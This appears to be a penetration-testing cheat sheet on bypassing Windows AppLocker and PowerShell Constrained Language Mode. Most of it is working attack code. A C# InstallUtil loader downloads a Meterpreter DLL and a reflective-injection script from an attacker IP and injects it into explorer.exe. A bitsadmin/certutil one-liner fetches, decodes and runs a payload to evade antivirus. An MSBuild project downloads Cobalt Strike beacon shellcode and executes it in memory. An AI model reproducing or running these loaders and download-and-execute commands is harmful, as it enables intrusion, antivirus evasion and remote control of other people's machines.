AppLocker and Powershell CLM

AppLocker is an application whitelisting technology that is built into the Windows Operating System. Its purpose is to restrict applications and scripts that are allowed to run on a machine, defined through a set of policies which are pushed via GPO.

AppLocker will also change the PowerShell Language Mode from FullLanguage to ConstrainedLanguage. This restricts the .NET types that can be used, preventing Add-Type with any arbitrary C# as well as New-Object on types that are not specifically permitted.

Microsoft ships default rules, which are very broad and allow all executables and scripts located in the Program Files and Windows directories.

See AppLocker Rules and Powershell CLM

To verify Powershell Language Mode:

$ExecutionContext.SessionState.LanguageMode

The default rules allow execution from anywhere within C:\Program Files and C:\Windows (including subdirectories) so moving to a protected machine could be done through a service executable written into C:\Windows.

If we are a standard user there are several directories within C:\Windows that are writeable, for example C:\Windows\Tasks:

powershell Get-Acl C:\Windows\Tasks | fl

Also we can bypass AppLocker if we can find a file in a trusted location that is both writable and executable, so we could write the contents of this script to an alternate data stream inside that file and execute it, bypassing AppLocker.

For example, TeamViewer version 12, which is installed on the Windows 10 victim machine, uses a log file (TeamViewer12_Logfile.log) that is both writable and executable by the student user. We can use the native type439 command to copy the contents of test.js into an alternate data stream of the log file with the : notation:

type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"

dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log"

Also, If a third-party scripting engine like Python or Perl is installed, we could use it to very easily bypass application whitelisting.

- PowerView

To get the policy from the GPO of a machine they're applied to, we will use PowerView.

Then we will download it and trasnlate to an human-readable format, for this we will follow the same steps we used for reading LAPS configurations.

- Registry

Also we can get it if we can query the following registry:

Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"

Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"

- AppLocker Module

import-module applocker

$a = Get-AppLockerPolicy -effective

$a.rulecollections

- V2 Interpreter to bypass constrained mode and other basic bypasses:

powershell -version 2 -command {$browser = New-Object…}

or

function pwned { whoami }

pwned

or

&{ whoami }

C# Bypasses

- Powershell CLM Basic Bypass

https://github.com/In3x0rabl3/OSEP/blob/main/Bypass_Defender/clmbypass.exe

Console App project:

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
        }
    }
}

- Reflective DLL Injection

If we want to do a Powershell Reflective DLL injection, but AppLocker rules block untrusted DLLs, we can modify the previous C# project to download the Meterpreter DLL into a byte array, determine the process ID of explorer.exe for the DLL injection and download and execute the Invoke-ReflectivePEInjection script.

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
	String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

LOLBAS (Living Off The Land Binaries, Scripts and Libraries)

- certutil and bitsadmin

Before using the other techniques explained to bypass AppLocker and Powershell CLM, we must ensure that the files are not flagged by antivirus, neither during the download process nor when it is saved to disk.

To do this, we are going to obfuscate the executable while it is being downloaded with Base64 encoding and then decode it on disk.

First we need to encode the binary with certutil in a windows attacking machine: Certutil -encode Bypass.exe file.txt

bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\Windows\Tasks\enc.txt && certutil -decode C:\Windows\Tasks\enc.txt C:\Windows\Tasks\Bypass.exe && del C:\Windows\Tasks\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe

- InstallUtil

To run C# executables with this command-line utility to bypass AppLocker and Powershell CLM, we must modify the previous bypass and execute it with installutil.exe.

The C# Code:

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

We can also use bypass-clm tool, which is valid to bypass Powershell CLM without InstallUtil (if there is no an AppLocker rule) or with it: https://github.com/calebstewart/bypass-clm/blob/master/bypass-clm/Program.cs

Then we compile it, download in the victim machine and run the following command:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe

- MSBuild

32 bits msbuild.exe:

• C:\Windows\Microsoft.NET\Framework\v4.0.30319

64 bits msbuild.exe:

• C:\Windows\Microsoft.NET\Framework64\v4.0.30319

Since AppLocker rules only allow execution from directory paths where only administrators have write privilegs, we can build an MSBuild project to bypass this AppLocker rule and powershell constrained mode because MSBuild is a Microsoft signed binary located in a subfolder of a trusted directory (C:\Windows).

To locate MSBuild, check subidrectories under Microsoft.NET folder (Version 4 is located in C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe).

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.csproj

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.xml

We can use MSBuild to compile and execute an XML-written project containing C# code that loads the PowerShell interpreter to execute whatever command we want:

https://github.com/sparcflow/HackLikeALegend/blob/master/msbuild/psh.xml

We can improve this script using the basic skeleton of a PowerShell console to load an interactive shell:

https://github.com/sparcflow/HackLikeALegend/blob/master/msbuild/console.xml

CSProj script to break out of PowerShell Constrained Language Mode:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe posh.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
     <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Linq;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;

            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    using (var runspace = RunspaceFactory.CreateRunspace())
                    {
                      runspace.Open();

                      using (var posh = PowerShell.Create())
                      {
                        posh.Runspace = runspace;
                        posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
                                                
                        var results = posh.Invoke();
                        var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
                        
                        Console.WriteLine(output);
                      }
                    }

                return true;
              }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Example of a basic shellcode injector loading a http_x64.xprocess.bin payload hosted in Cobalt Strike:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://nickelviper.com";
                        shellcode = client.DownloadData("beacon.bin");
                    }
      
                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
#

To remotely execute PowerShell scripts and commands without spawning powershell.exe with MSBuild: https://github.com/Mr-Un1k0d3r/PowerLessShell

Last updated